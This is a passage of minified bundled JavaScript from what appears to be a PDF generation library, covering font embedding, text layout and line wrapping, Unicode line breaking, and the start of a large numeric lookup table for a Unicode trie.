                    return i = this.font.layout(t, n).advanceWidth, r = e / this.font.unitsPerEm, i * r
                }, e.prototype.embed = function () {
                    var t, e, n, r, i, o, a, s, u, c, l;
                    return s = null != this.subset.cff, o = this.document.ref(), s && (o.data.Subtype = "CIDFontType0C"), this.subset.encodeStream().pipe(o), r = ((null != (c = this.font["OS/2"]) ? c.sFamilyClass : void 0) || 0) >> 8, i = 0, this.font.post.isFixedPitch && (i |= 1), 1 <= r && r <= 7 && (i |= 2), i |= 4, 10 === r && (i |= 8), this.font.head.macStyle.italic && (i |= 64), l = function () {
                        var t, e;
                        for (e = [], a = t = 0; t < 6; a = ++t) e.push(String.fromCharCode(26 * Math.random() + 65));
                        return e
                    }().join(""), u = l + "+" + this.font.postscriptName, t = this.font.bbox, n = this.document.ref({
                        Type: "FontDescriptor",
                        FontName: u,
                        Flags: i,
                        FontBBox: [t.minX * this.scale, t.minY * this.scale, t.maxX * this.scale, t.maxY * this.scale],
                        ItalicAngle: this.font.italicAngle,
                        Ascent: this.ascender,
                        Descent: this.descender,
                        CapHeight: (this.font.capHeight || this.font.ascent) * this.scale,
                        XHeight: (this.font.xHeight || 0) * this.scale,
                        StemV: 0
                    }), s ? n.data.FontFile3 = o : n.data.FontFile2 = o, n.end(), e = this.document.ref({
                        Type: "Font",
                        Subtype: s ? "CIDFontType0" : "CIDFontType2",
                        BaseFont: u,
                        CIDSystemInfo: {Registry: new String("Adobe"), Ordering: new String("Identity"), Supplement: 0},
                        FontDescriptor: n,
                        W: [0, this.widths]
                    }), e.end(), this.dictionary.data = {
                        Type: "Font",
                        Subtype: "Type0",
                        BaseFont: u,
                        Encoding: "Identity-H",
                        DescendantFonts: [e],
                        ToUnicode: this.toUnicodeCmap()
                    }, this.dictionary.end()
                }, n = function () {
                    var t, e, n;
                    return e = 1 <= arguments.length ? a.call(arguments, 0) : [], n = function () {
                        var n, r, i;
                        for (i = [], n = 0, r = e.length; n < r; n++) t = e[n], i.push(("0000" + t.toString(16)).slice(-4));
                        return i
                    }(), n.join("")
                }, e.prototype.toUnicodeCmap = function () {
                    var t, e, r, i, o, a, s, u, c, l;
                    for (t = this.document.ref(), i = [], c = this.unicode, o = 0, s = c.length; o < s; o++) {
                        for (e = c[o], r = [], a = 0, u = e.length; a < u; a++) l = e[a], l > 65535 && (l -= 65536, r.push(n(l >>> 10 & 1023 | 55296)), l = 56320 | 1023 & l), r.push(n(l));
                        i.push("<" + r.join(" ") + ">")
                    }
                    return t.end("/CIDInit /ProcSet findresource begin\n12 dict begin\nbegincmap\n/CIDSystemInfo <<\n  /Registry (Adobe)\n  /Ordering (UCS)\n  /Supplement 0\n>> def\n/CMapName /Adobe-Identity-UCS def\n/CMapType 2 def\n1 begincodespacerange\n<0000><ffff>\nendcodespacerange\n1 beginbfrange\n<0000> <" + n(i.length - 1) + "> [" + i.join(" ") + "]\nendbfrange\nendcmap\nCMapName currentdict /CMap defineresource pop\nend\nend"), t
                }, e
            }(r), t.exports = e
        }).call(this)
    }, function (t, e, n) {
        (function () {
            var e;
            e = n(283), t.exports = {
                initText: function () {
                    return this.x = 0, this.y = 0, this._lineGap = 0
                }, lineGap: function (t) {
                    return this._lineGap = t, this
                }, moveDown: function (t) {
                    return null == t && (t = 1), this.y += this.currentLineHeight(!0) * t + this._lineGap, this
                }, moveUp: function (t) {
                    return null == t && (t = 1), this.y -= this.currentLineHeight(!0) * t + this._lineGap, this
                }, _text: function (t, n, r, i, o) {
                    var a, s, u, c, l;
                    if (i = this._initOptions(n, r, i), t = "" + t, i.wordSpacing && (t = t.replace(/\s{2,}/g, " ")), i.width) l = this._wrapper, l || (l = new e(this, i), l.on("line", o)), this._wrapper = i.continued ? l : null, this._textOptions = i.continued ? i : null, l.wrap(t, i); else for (c = t.split("\n"), a = 0, s = c.length; a < s; a++) u = c[a], o(u, i);
                    return this
                }, text: function (t, e, n, r) {
                    return this._text(t, e, n, r, this._line.bind(this))
                }, widthOfString: function (t, e) {
                    return null == e && (e = {}), this._font.widthOfString(t, this._fontSize, e.features) + (e.characterSpacing || 0) * (t.length - 1)
                }, heightOfString: function (t, e) {
                    var n, r, i, o;
                    return null == e && (e = {}), i = this.x, o = this.y, e = this._initOptions(e), e.height = 1 / 0, r = e.lineGap || this._lineGap || 0, this._text(t, this.x, this.y, e, function (t) {
                        return function (e, n) {
                            return t.y += t.currentLineHeight(!0) + r
                        }
                    }(this)), n = this.y - o, this.x = i, this.y = o, n
                }, list: function (t, n, r, i, o) {
                    var a, s, u, c, l, f, h, p;
                    return i = this._initOptions(n, r, i), p = Math.round(this._font.ascender / 1e3 * this._fontSize / 3), u = i.textIndent || 5 * p, c = i.bulletIndent || 8 * p, f = 1, l = [], h = [], a = function (t) {
                        var e, n, r, i, o;
                        for (o = [], e = r = 0, i = t.length; r < i; e = ++r) n = t[e], Array.isArray(n) ? (f++, a(n), o.push(f--)) : (l.push(n), o.push(h.push(f)));
                        return o
                    }, a(t), o = new e(this, i), o.on("line", this._line.bind(this)), f = 1, s = 0, o.on("firstLine", function (t) {
                        return function () {
                            var e, n;
                            return (n = h[s++]) !== f && (e = c * (n - f), t.x += e, o.lineWidth -= e, f = n), t.circle(t.x - u + p, t.y + p + p / 2, p), t.fill()
                        }
                    }(this)), o.on("sectionStart", function (t) {
                        return function () {
                            var e;
                            return e = u + c * (f - 1), t.x += e, o.lineWidth -= e
                        }
                    }(this)), o.on("sectionEnd", function (t) {
                        return function () {
                            var e;
                            return e = u + c * (f - 1), t.x -= e, o.lineWidth += e
                        }
                    }(this)), o.wrap(l.join("\n"), i), this
                }, _initOptions: function (t, e, n) {
                    var r, i, o, a;
                    if (null == t && (t = {}), null == n && (n = {}), "object" == typeof t && (n = t, t = null), n = function () {
                            var t, e, r;
                            e = {};
                            for (t in n) r = n[t], e[t] = r;
                            return e
                        }(), this._textOptions) {
                        o = this._textOptions;
                        for (r in o) a = o[r], "continued" !== r && null == n[r] && (n[r] = a)
                    }
                    return null != t && (this.x = t), null != e && (this.y = e), n.lineBreak !== !1 && (i = this.page.margins, null == n.width && (n.width = this.page.width - this.x - i.right)), n.columns || (n.columns = 0), null == n.columnGap && (n.columnGap = 18), n
                }, _line: function (t, e, n) {
                    var r;
                    return null == e && (e = {}), this._fragment(t, this.x, this.y, e), r = e.lineGap || this._lineGap || 0, n ? this.y += this.currentLineHeight(!0) + r : this.x += this.widthOfString(t)
                }, _fragment: function (t, e, n, r) {
                    var i, o, a, s, u, c, l, f, h, p, d, g, v, y, m, b, w, x, S, k, _, C, A, E, P, I, O, T, L, B, R, M;
                    if (t = ("" + t).replace(/\n/g, ""), 0 !== t.length) {
                        if (o = r.align || "left", R = r.wordSpacing || 0, s = r.characterSpacing || 0, r.width) switch (o) {
                            case"right":
                                L = this.widthOfString(t.replace(/\s+$/, ""), r), e += r.lineWidth - L;
                                break;
                            case"center":
                                e += r.lineWidth / 2 - r.textWidth / 2;
                                break;
                            case"justify":
                                M = t.trim().split(/\s+/), L = this.widthOfString(t.replace(/\s+/g, ""), r), T = this.widthOfString(" ") + s, R = Math.max(0, (r.lineWidth - L) / Math.max(1, M.length - 1) - T)
                        }
                        if (I = r.textWidth + R * (r.wordCount - 1) + s * (t.length - 1), r.link && this.link(e, n, I, this.currentLineHeight(), r.link), (r.underline || r.strike) && (this.save(), r.stroke || this.strokeColor.apply(this, this._fillColor), b = this._fontSize < 10 ? .5 : Math.floor(this._fontSize / 10), this.lineWidth(b), c = r.underline ? 1 : 2, w = n + this.currentLineHeight() / c, r.underline && (w -= b), this.moveTo(e, w), this.lineTo(e + I, w), this.stroke(), this.restore()), this.save(), this.transform(1, 0, 0, -1, 0, this.page.height), n = this.page.height - n - this._font.ascender / 1e3 * this._fontSize, null == (a = this.page.fonts)[k = this._font.id] && (a[k] = this._font.ref()), this.addContent("BT"), this.addContent("1 0 0 1 " + e + " " + n + " Tm"), this.addContent("/" + this._font.id + " " + this._fontSize + " Tf"), S = r.fill && r.stroke ? 2 : r.stroke ? 1 : 0, S && this.addContent(S + " Tr"), s && this.addContent(s + " Tc"), R) for (M = t.trim().split(/\s+/), R += this.widthOfString(" ") + s, R *= 1e3 / this._fontSize, l = [], C = [], g = 0, y = M.length; g < y; g++) B = M[g], E = this._font.encode(B, r.features), f = E[0], A = E[1], l.push.apply(l, f), C.push.apply(C, A), C[C.length - 1].xAdvance += R; else P = this._font.encode(t, r.features), l = P[0], C = P[1];
                        for (O = this._fontSize / 1e3, u = [], v = 0, p = !1, i = function (t) {
                            return function (t) {
                                var e, n;
                                return v < t && (n = l.slice(v, t).join(""), e = C[t - 1].xAdvance - C[t - 1].advanceWidth, u.push("<" + n + "> " + -e)), v = t
                            }
                        }(), h = function (t) {
                            return function (e) {
                                if (i(e), u.length > 0) return t.addContent("[" + u.join(" ") + "] TJ"), u.length = 0
                            }
                        }(this), d = x = 0, m = C.length; x < m; d = ++x) _ = C[d], _.xOffset || _.yOffset ? (h(d), this.addContent("1 0 0 1 " + (e + _.xOffset * O) + " " + (n + _.yOffset * O) + " Tm"), h(d + 1), p = !0) : (p && (this.addContent("1 0 0 1 " + e + " " + n + " Tm"), p = !1), _.xAdvance - _.advanceWidth != 0 && i(d + 1)), e += _.xAdvance * O;
                        return h(d), this.addContent("ET"), this.restore()
                    }
                }
            }
        }).call(this)
    }, function (t, e, n) {
        (function () {
            var e, r, i, o = function (t, e) {
                function n() {
                    this.constructor = t
                }

                for (var r in e) a.call(e, r) && (t[r] = e[r]);
                return n.prototype = e.prototype, t.prototype = new n, t.__super__ = e.prototype, t
            }, a           = {}.hasOwnProperty;
            e = n(31).EventEmitter, r = n(284), i = function (t) {
                function e(t, e) {
                    var n;
                    this.document = t, this.indent = e.indent || 0, this.characterSpacing = e.characterSpacing || 0, this.wordSpacing = 0 === e.wordSpacing, this.columns = e.columns || 1, this.columnGap = null != (n = e.columnGap) ? n : 18, this.lineWidth = (e.width - this.columnGap * (this.columns - 1)) / this.columns, this.spaceLeft = this.lineWidth, this.startX = this.document.x, this.startY = this.document.y, this.column = 1, this.ellipsis = e.ellipsis, this.continuedX = 0, this.features = e.features, null != e.height ? (this.height = e.height, this.maxY = this.startY + e.height) : this.maxY = this.document.page.maxY(), this.on("firstLine", function (t) {
                        return function (e) {
                            var n;
                            return n = t.continuedX || t.indent, t.document.x += n, t.lineWidth -= n, t.once("line", function () {
                                if (t.document.x -= n, t.lineWidth += n, e.continued && !t.continuedX && (t.continuedX = t.indent), !e.continued) return t.continuedX = 0
                            })
                        }
                    }(this)), this.on("lastLine", function (t) {
                        return function (e) {
                            var n;
                            return n = e.align, "justify" === n && (e.align = "left"), t.lastLine = !0, t.once("line", function () {
                                return t.document.y += e.paragraphGap || 0, e.align = n, t.lastLine = !1
                            })
                        }
                    }(this))
                }

                return o(e, t), e.prototype.wordWidth = function (t) {
                    return this.document.widthOfString(t, this) + this.characterSpacing + this.wordSpacing
                }, e.prototype.eachWord = function (t, e) {
                    var n, i, o, a, s, u, c, l, f, h;
                    for (i = new r(t), s = null, h = Object.create(null); n = i.nextBreak();) {
                        if (f = t.slice((null != s ? s.position : void 0) || 0, n.position), (l = null != h[f] ? h[f] : h[f] = this.wordWidth(f)) > this.lineWidth + this.continuedX) for (u = s, o = {}; f.length;) {
                            for (a = f.length; l > this.spaceLeft;) l = this.wordWidth(f.slice(0, --a));
                            if (o.required = a < f.length, c = e(f.slice(0, a), l, o, u), u = {required: !1}, f = f.slice(a), l = this.wordWidth(f), c === !1) break
                        } else c = e(f, l, n, s);
                        if (c === !1) break;
                        s = n
                    }
                }, e.prototype.wrap = function (t, e) {
                    var n, r, i, o, a, s, u;
                    return null != e.indent && (this.indent = e.indent), null != e.characterSpacing && (this.characterSpacing = e.characterSpacing), null != e.wordSpacing && (this.wordSpacing = e.wordSpacing), null != e.ellipsis && (this.ellipsis = e.ellipsis), o = this.document.y + this.document.currentLineHeight(!0), (this.document.y > this.maxY || o > this.maxY) && this.nextSection(), n = "", a = 0, s = 0, i = 0, u = this.document.y, r = function (t) {
                        return function () {
                            return e.textWidth = a + t.wordSpacing * (s - 1), e.wordCount = s, e.lineWidth = t.lineWidth, u = t.document.y, t.emit("line", n, e, t), i++
                        }
                    }(this), this.emit("sectionStart", e, this), this.eachWord(t, function (t) {
                        return function (i, o, u, c) {
                            var l;
                            if ((null == c || c.required) && (t.emit("firstLine", e, t), t.spaceLeft = t.lineWidth), o <= t.spaceLeft && (n += i, a += o, s++), u.required || o > t.spaceLeft) {
                                if (u.required && t.emit("lastLine", e, t), l = t.document.currentLineHeight(!0), null != t.height && t.ellipsis && t.document.y + 2 * l > t.maxY && t.column >= t.columns) {
                                    for (t.ellipsis === !0 && (t.ellipsis = "…"), n = n.replace(/\s+$/, ""), a = t.wordWidth(n + t.ellipsis); a > t.lineWidth;) n = n.slice(0, -1).replace(/\s+$/, ""), a = t.wordWidth(n + t.ellipsis);
                                    n += t.ellipsis
                                }
                                return r(), t.document.y + l > t.maxY && !t.nextSection() ? (s = 0, n = "", !1) : u.required ? (o > t.spaceLeft && (n = i, a = o, s = 1, r()), t.spaceLeft = t.lineWidth, n = "", a = 0, s = 0) : (t.spaceLeft = t.lineWidth - o, n = i, a = o, s = 1)
                            }
                            return t.spaceLeft -= o
                        }
                    }(this)), s > 0 && (this.emit("lastLine", e, this), r()), this.emit("sectionEnd", e, this), e.continued === !0 ? (i > 1 && (this.continuedX = 0), this.continuedX += e.textWidth, this.document.y = u) : this.document.x = this.startX
                }, e.prototype.nextSection = function (t) {
                    var e;
                    if (this.emit("sectionEnd", t, this), ++this.column > this.columns) {
                        if (null != this.height) return !1;
                        this.document.addPage(), this.column = 1, this.startY = this.document.page.margins.top, this.maxY = this.document.page.maxY(), this.document.x = this.startX, this.document._fillColor && (e = this.document).fillColor.apply(e, this.document._fillColor), this.emit("pageBreak", t, this)
                    } else this.document.x += this.lineWidth + this.columnGap, this.document.y = this.startY, this.emit("columnBreak", t, this);
                    return this.emit("sectionStart", t, this), !0
                }, e
            }(e), t.exports = i
        }).call(this)
    }, function (t, e, n) {
        (function () {
            var e, r, i, o, a, s, u, c, l, f, h, p, d, g, v, y, m, b, w, x, S, k, _, C, A;
            w = n(285), k = new w(n(286)), C = n(287), o = C.BK, l = C.CR, p = C.LF, g = C.NL, a = C.CB, i = C.BA, b = C.SP, x = C.WJ, b = C.SP, o = C.BK, p = C.LF, g = C.NL, e = C.AI, r = C.AL, y = C.SA, m = C.SG, S = C.XX, u = C.CJ, C.ID, v = C.NS, C.characterClasses, A = n(288), f = A.DI_BRK, h = A.IN_BRK, s = A.CI_BRK, c = A.CP_BRK, A.PR_BRK, _ = A.pairTable, d = function () {
                function t(t) {
                    this.string = t, this.pos = 0, this.lastPos = 0, this.curClass = null, this.nextClass = null
                }

                var n, d, w;
                return t.prototype.nextCodePoint = function () {
                    var t, e;
                    return t = this.string.charCodeAt(this.pos++), e = this.string.charCodeAt(this.pos), 55296 <= t && t <= 56319 && 56320 <= e && e <= 57343 ? (this.pos++, 1024 * (t - 55296) + (e - 56320) + 65536) : t
                }, d = function (t) {
                    switch (t) {
                        case e:
                            return r;
                        case y:
                        case m:
                        case S:
                            return r;
                        case u:
                            return v;
                        default:
                            return t
                    }
                }, w = function (t) {
                    switch (t) {
                        case p:
                        case g:
                            return o;
                        case a:
                            return i;
                        case b:
                            return x;
                        default:
                            return t
                    }
                }, t.prototype.nextCharClass = function (t) {
                    return null == t && (t = !1), d(k.get(this.nextCodePoint()))
                }, n = function () {
                    function t(t, e) {
                        this.position = t, this.required = null != e && e
                    }

                    return t
                }(), t.prototype.nextBreak = function () {
                    var t, e, r;
                    for (null == this.curClass && (this.curClass = w(this.nextCharClass())); this.pos < this.string.length;) {
                        if (this.lastPos = this.pos, e = this.nextClass, this.nextClass = this.nextCharClass(), this.curClass === o || this.curClass === l && this.nextClass !== p) return this.curClass = w(d(this.nextClass)), new n(this.lastPos, !0);
                        if (null == (t = function () {
                                switch (this.nextClass) {
                                    case b:
                                        return this.curClass;
                                    case o:
                                    case p:
                                    case g:
                                        return o;
                                    case l:
                                        return l;
                                    case a:
                                        return i
                                }
                            }.call(this))) {
                            switch (r = !1, _[this.curClass][this.nextClass]) {
                                case f:
                                    r = !0;
                                    break;
                                case h:
                                    r = e === b;
                                    break;
                                case s:
                                    if (!(r = e === b)) continue;
                                    break;
                                case c:
                                    if (e !== b) continue
                            }
                            if (this.curClass = this.nextClass, r) return new n(this.lastPos)
                        } else if (this.curClass = t, this.nextClass === a) return new n(this.lastPos)
                    }
                    if (this.pos >= this.string.length) return this.lastPos < this.string.length ? (this.lastPos = this.string.length, new n(this.string.length)) : null
                }, t
            }(), t.exports = d
        }).call(this)
    }, function (t, e) {
        var n, r = [].slice;
        n = function () {
            function t(t) {
                var e, n;
                null == t && (t = {}), this.data = t.data || [], this.highStart = null != (e = t.highStart) ? e : 0, this.errorValue = null != (n = t.errorValue) ? n : -1
            }

            var e, n, i, o, a, s, u, c, l, f, h, p, d, g, v, y;
            return p = 11, g = 5, d = p - g, h = 65536 >> p, a = 1 << d, u = a - 1, c = 2, e = 1 << g, i = e - 1, f = 65536 >> g, l = 1024 >> g, s = f + l, y = s, v = 32, o = y + v, n = 1 << c, t.prototype.get = function (t) {
                var e;
                return t < 0 || t > 1114111 ? this.errorValue : t < 55296 || t > 56319 && t <= 65535 ? (e = (this.data[t >> g] << c) + (t & i), this.data[e]) : t <= 65535 ? (e = (this.data[f + (t - 55296 >> g)] << c) + (t & i), this.data[e]) : t < this.highStart ? (e = this.data[o - h + (t >> p)], e = this.data[e + (t >> g & u)], e = (e << c) + (t & i), this.data[e]) : this.data[this.data.length - n]
            }, t.prototype.toJSON = function () {
                return {data: r.call(this.data), highStart: this.highStart, errorValue: this.errorValue}
            }, t
        }(), t.exports = n
    }, function (t, e) {
        t.exports = {
            data: [1961, 1969, 1977, 1985, 2025, 2033, 2041, 2049, 2057, 2065, 2073, 2081, 2089, 2097, 2105, 2113, 2121, 2129, 2137, 2145, 2153, 2161, 2169, 2177, 2185, 2193, 2201, 2209, 2217, 2225, 2233, 2241, 2249, 2257, 2265, 2273, 2281, 2289, 2297, 2305, 2313, 2321, 2329, 2337, 2345, 2353, 2361, 2369, 2377, 2385, 2393, 2401, 2409, 2417, 2425, 2433, 2441, 2449, 2457, 2465, 2473, 2481, 2489, 2497, 2505, 2513, 2521, 2529, 2529, 2537, 2009, 2545, 2553, 2561, 2569, 2577, 2585, 2593, 2601, 2609, 2617, 2625, 2633, 2641, 2649, 2657, 2665, 2673, 2681, 2689, 2697, 2705, 2713, 2721, 2729, 2737, 2745, 2753, 2761, 2769, 2777, 2785, 2793, 2801, 2809, 2817, 2825, 2833, 2841, 2849, 2857, 2865, 2873, 2881, 2889, 2009, 2897, 2905, 2913, 2009, 2921, 2929, 2937, 2945, 2953, 2961, 2969, 2009, 2977, 2977, 2985, 2993, 3001, 3009, 3009, 3009, 3017, 3017, 3017, 3025, 3025, 3033, 3041, 3041, 3049, 3049, 3049, 3049, 3049, 3049, 3049, 3049, 3049, 3049, 3057, 3065, 3073, 3073, 3073, 3081, 3089, 3097, 3097, 3097, 3097, 3097, 3097, 3097, 3097, 3097, 3097, 3097, 3097, 3097, 3097, 3097, 3097, 3097, 3097, 3097, 3105, 3113, 3113, 3121, 3129, 3137, 3145, 3153, 3161, 3161, 3169, 3177, 3185, 3193, 3193, 3193, 3193, 3201, 3209, 3209, 3217, 3225, 3233, 3241, 3241, 3241, 3249, 3257, 3265, 3273, 3273, 3281, 3289, 3297, 2009, 2009, 3305, 3313, 3321, 3329, 3337, 3345, 3353, 3361, 3369, 3377, 3385, 3393, 2009, 2009, 3401, 3409, 3417, 3417, 3417, 3417, 3417, 3417, 3425, 3425, 3433, 3433, 3433, 3433, 3433, 3433, 3433, 3433, 3433, 3433, 3433, 3433, 3433, 3433, 3433, 3441, 3449, 3457, 3465, 3473, 3481, 3489, 3497, 3505, 3513, 3521, 3529, 3537, 3545, 3553, 3561, 3569, 3577, 3585, 3593, 3601, 3609, 3617, 3625, 3625, 3633, 3641, 3649, 3649, 3649, 3649, 3649, 3657, 3665, 3665, 3673, 3681, 3681, 3681, 3681, 3689, 3697, 3697, 3705, 3713, 3721, 3729, 3737, 3745, 3753, 3761, 3769, 3777, 3785, 3793, 3801, 3809, 3817, 3825, 3833, 3841, 3849, 3857, 3865, 3873, 3881, 3881, 3881, 3881, 3881, 3881, 3881, 3881, 3881, 3881, 3881, 3881, 3889, 3897, 3905, 3913, 3921, 3921, 3921, 3921, 3921, 3921, 3921, 3921, 3921, 3921, 3929, 2009, 2009, 2009, 2009, 2009, 3937, 3937, 3937, 3937, 3937, 3937, 3937, 3945, 3953, 3953, 3953, 3961, 3969, 3969, 3977, 3985, 3993, 4001, 2009, 2009, 4009, 4009, 4009, 4009, 4009, 4009, 4009, 4009, 4009, 4009, 4009, 4009, 4017, 4025, 4033, 4041, 4049, 4057, 4065, 4073, 4081, 4081, 4081, 4081, 4081, 4081, 4081, 4089, 4097, 4097, 4105, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4113, 4121, 4121, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4129, 4137, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4145, 4153, 4161, 4169, 4169, 4169, 4169, 4169, 4169, 4169, 4169, 4177, 4185, 4193, 4201, 4209, 4217, 4217, 4225, 4233, 4233, 4233, 4233, 4233, 4233, 4233, 4233, 4241, 4249, 4257, 4265, 4273, 4281, 4289, 4297, 4305, 4313, 4321, 4329, 4337, 4345, 4353, 4361, 4361, 4369, 4377, 4385, 4385, 4385, 4385, 4393, 4401, 4409, 4409, 4409, 4409, 4409, 4409, 4417, 4425, 4433, 4441, 4449, 4457, 4465, 4473, 4481, 4489, 4497, 4505, 4513, 4521, 4529, 4537, 4545, 4553, 4561, 4569, 4577, 4585, 4593, 4601, 4609, 4617, 4625, 4633, 4641, 4649, 4657, 4665, 4673, 4681, 4689, 4697, 4705, 4713, 4721, 4729, 4737, 4745, 4753, 4761, 4769, 4777, 4785, 4793, 4801, 4809, 4817, 4825, 4833, 4841, 4849, 4857, 4865, 4873, 4881, 4889, 4897, 4905, 4913, 4921, 4929, 4937, 4945, 4953, 4961, 4969, 4977, 4985, 4993, 5001, 5009, 5017, 5025, 5033, 5041, 5049, 5057, 5065, 5073, 5081, 5089, 5097, 5105, 5113, 5121, 5129, 5137, 5145, 5153, 5161, 5169, 5177, 5185, 5193, 5201, 5209, 5217, 5225, 5233, 5241, 5249, 5257, 5265, 5273, 5281, 5289, 5297, 5305, 5313, 5321, 5329, 5337, 5345, 5353, 5361, 5369, 5377, 